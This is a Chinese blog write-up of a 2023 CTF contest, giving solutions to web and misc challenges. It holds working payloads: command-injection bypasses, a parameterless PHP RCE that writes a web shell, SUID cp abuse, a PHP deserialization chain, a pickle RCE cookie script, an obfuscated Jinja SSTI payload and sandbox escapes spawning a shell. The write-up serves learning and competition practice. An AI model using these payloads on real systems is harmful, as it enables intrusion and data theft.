iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

贵阳大数据及网络安全精英对抗赛 2023 Writeup

贵阳大数据及网络安全精英对抗赛 2023 Writeup

写在前面

今天打完盘古石全国电子数据取证大赛(300G的赛题磁盘直接爆红),赛后整理文件的时候发现了这个比赛题解还没发,浅浅的更新一下。这比赛原(tou)题还是挺多的,国外搬到国内

Web

仔细ping

那必须输入?ip=127.0.0.1

一番 fuzz 发现没过滤 nl

1
?ip=nl flag.php

May_be

May be you should bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>

无参RCE,我们直接利用全局变量写 shell(因为一直读不到 flag =.=

1
2
?a=eval(end(current(get_defined_vars())));
&b=file_put_contents('shell.php', '%3C%3Fphp%20%40eval(%24_POST%5Bcmd%5D)%3B');

读了半天 flag 一直为空,最后看了一下权限 700 …我们直接查找 suid 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/var/www/html/ >ls -al /
total 77
drwxr-xr-x 1 root root 4096 Apr 28 09:15 .
drwxr-xr-x 1 root root 4096 Apr 28 09:15 ..
-rwx------ 1 root root 39 Apr 28 09:16 .ffffffIIIIIII44444444444gggg
...
-rwxr-xr-x 1 root root 91 Apr 19 03:12 pushflag.sh
-rwxr-xr-x 1 root root 92 Aug 16 2022 start.sh

/var/www/html/ >find / -perm -4000 2> /dev/null
/bin/cp
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd

我们发现 cp 命令具有 suid 权限,两种方法,直接读 flag

1
cp /.ff* /dev/stdount

另一种是通过 cp 提权,可以参考 Linux提权之SUID提权

pop

一条很简单的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
class TT{
public $key;
public $c;
public function __destruct(){
echo $this->key;
}

public function __toString(){
return "welcome";
}
}

class JJ{
public $obj;
public function __toString(){
($this -> obj)();
return "1";
}
public function evil($c){
eval($c);
}
public function __sleep(){
phpinfo();
}
}

class MM{
public $name;
public $c;
public function __invoke(){
($this->name)($this->c);
}
public function __toString(){
return "ok,but wrong";
}
public function __call($a, $b){
echo "Hacker!";
}
}
$a = unserialize($_GET['bbb']);
throw new Error("NoNoNo");

根据 【技术分享】PHP序列化冷知识 一文,我们可以通过 fast destruct 提前触发魔术方法,从而绕过 throw new Error("NoNoNo"); 语句,注意我们传递 payload 的时候,需要将最后面的 } 删掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class TT{
public $key;
public $c;
}

class JJ{
public $obj;
}

class MM{
public $name="system";
public $c="cat /flag";
}

$flag = new TT();
$flag->key=new JJ();
$flag->key->obj=new MM();
$flag->key->obj->name="system";
$flag->key->obj->c="cat /flag";

var_dump(serialize($flag));
# O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}

JUST_LFI

原题: SekaiCTF 2022 solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os, hmac, hashlib, base64, pickle, requests

def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)

def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return str("" if s is None else s)

def create_cookie(name, value, secret):
d = pickle.dumps([name, value], -1)
encoded = base64.b64encode(d)
sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.md5).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
return value

class PickleRCE(object):
def __reduce__(self):
return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('cat /f*', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))

session = {"user": PickleRCE()}
cookie = create_cookie("user", session, "Th1sIIIIIIsAAAsecret")

r = requests.get("http://39.107.243.76:40183/login", cookies={"user": cookie})
print(base64.b64decode(r.headers["x-flag"]).decode("ascii"))

notrce

exec?为啥不是eval…

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);
$c=$_POST['c'];
if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){
exec($c);
}else{
die("hacker");
}

没过滤 nl,但是发现命令无回显,我们直接使用 tee 命令复制一下 flag,由于怕 flag 不是常规文件名,使用 ? 模糊匹配一下

1
c=nl /f???|tee 1.txt

完美网站

网站有问题!!!都打不开,还敢说是完美网站。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-type:text/html;charset=utf-8");

echo "别重定向了,赶快让我(?n=30-10,以内的数值。)-_-";
$image=$_GET['img'];

$allow = range(2,20);
shuffle($allow);

if(($_GET['n']==$allow[0])){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("tupian.png");
header("location:/?img=".$image);
}

访问环境发现无限重定向,同时 url 存在一段编码 dHVwaWFuLnBuZw==,解码后得到 tupian.png,我们直接下载图片,在文件尾部发现 ffffpq.php,应该就是 flag 位置

image-20230428094822428

使用 burp 抓包发现提示:别重定向了,赶快让我(?n=30-10,以内的数值。) -_-

image-20230428132445209

那么思路就理清了,需要传递 nimgn 的值取决于提示,img 的值是 base64 编码后的文件名,直接爆破

1
2
3
4
5
6
7
8
GET /?n=1&img=aW5kZXgucGhw HTTP/1.1
Host: 39.106.65.214:17095
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20230428094711171

it’s time

对miniID进行尝试,有过滤的SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask,render_template,request,render_template_string
app = Flask(__name__)

@app.route('/',methods = ['POST','GET'])
def index():
def safe_jinja(m):
forbidden = ['[','{{','_','class','+','popen','*','import','request']
for n in forbidden:
while True:
if n in m:
return "Forbidden!!!"
else:
break
return m
id = request.args.get('miniID')
html = '''
<h2 align="center">it's time.Show me your documents,please.</h2>
<h2 align="center">I will GET your miniID.</h2>
<h2 align="center">%s</h2>
'''%(id)
html = safe_jinja(html)
return render_template_string(html)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

没啥好说的,直接一个 Payload 通杀所有 SSTI 赛题(手动滑稽),注意题目源码中过滤了 _*,而 flag 文件名又存在 _,我们使用 ? 绕过一下

1
{%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f1ag?g4lfcdecddefewfebge')|attr('%c%c%c%c'|format(114,101,97,100))()%}

Misc

图片的秘密

一张简单的图片

下载后得到一个 docx 文件,打开后发现只贴了一张图片,直接后缀名改为 zip,得到如下信息

1
2
/docProps/pass.txt
/word/media/image1.png

直接使用在线网站解码即可

image-20230428140158867

easymisc

简单的misc从基础出发

下载后得到大量文件夹,在 change19 目录中动图的第14 帧发现一闪而过的二维码,扫码后得到

1
2
链接:https://pan.baidu.com/s/1D-XdJvkKWbVFoRx_AEZZzw?pwd=v6p6 
提取码:v6p6

附件 500MB 一度以为题目出错了,不过看着解开的人越发越多,直接借了个会员下载了,全局搜索 flag 发现提到了一个 mnt 目录

image-20230428140523723

挨个看,留意哪个压缩包里存在 mnt 目录,最后在 a12553183e6feaa32744e405985000f41591bdff85f9d81967a6405196e3a71a 目录的压缩包里发现 mnt 目录,同时目录里存在一个二维码动图 559.gif,使用 PS 拼一下得到 flag

cb0x-new

Welcome to my c sandbox,Hope u can escape it.Good luck!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
   _____ _      ___
/ ____| | / _ \
| | | |__ | | | |_ __
| | | '_ \| | | \ \/ /
| |____| |_) | |_| |> <
\_____|_.__/ \___//_/\_

Welcome to the Cb0x challenge
The six step of this challenge
1. You can input your source code of main.c(base64ed),And will copy /home/ctf/main.c to /tmp/main.c
2. Your input is decoded by base64 and append in /tmp/main.c
3. main.c will be complied and run,command are as followed
4. compiled command ==> gcc main.c -w -o main
5. run command ==> subprocess.run(['./main'], stdout=sys.stdout, stderr=subprocess.DEVNULL)
6. The main.c source code are as followed:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
char* fake_flag_but_real_flag_in_the_remote = "flag{DELETE}";
return 0;
}

我们通过 constructor 让我们定义的函数在 main() 之前运行即可。

1
2
3
4
__attribute__((constructor)) void a()
{
system('1');
}

1
X19hdHRyaWJ1dGVfXygoY29uc3RydWN0b3IpKSB2b2lkIGEoKQp7CglzeXN0ZW0oJzEnKTsKfQ==

然后根据题目所述在 /home/ctf/main.c 得到 flag

image-20230428175357545

j@il-new

jail me pls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys, ast
import base64
WELCOME = '''
____ ____ ____ _
| | / \| || |
|__ || _ | | | | |
__| || / | | | | |___
/ | || \__| | | | |
\ ` || | | | | |
\____| \__,_||____||_____|
'''

print(WELCOME)
print("Welcome j@il! This is whitelist for your input --> [a-z] ' _ = : ()")
print("Env:python3.10 import code --> eval(input_data, {'__builtins__': {'__import__': __import__}})")
print("input your code:")
input_data = input(">")
if any(x not in "abcdefghijklmnopqrstuvwxyz_':=()" for x in input_data):
print("bad cod")
else:
try:
print(eval(input_data, {"__builtins__": {"__import__": __import__}}))
except Exception as e:
print("err", e)

原题: ångstrom 2023 obligatory

1
(__builtins__:=__import__('os'))and(lambda:system)()('sh')

image-20230428164136998

time

时间如白驹过隙

貌似是原题: 江苏工匠杯 时间刺客,文件的最后修改时间转时间戳然后和文件内的时间戳相减就是 flag 的 ascii 码

1
2
3
4
5
6
7
8
9
10
11
import os

flag = []
for i in range(38):
with open(f"change{i}.txt") as f:
file_content = f.read().strip()
time = int(os.path.getmtime(f"change{i}.txt"))
timestamp = int(str((int(time * (10 ** 9) % (2 ** 64 - 1) / (10 ** 9))))) - int(file_content)
flag.append(chr(timestamp))

print("".join(flag))
本文作者:iami233
本文链接:https://5ime.cn/ccsec-2023.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可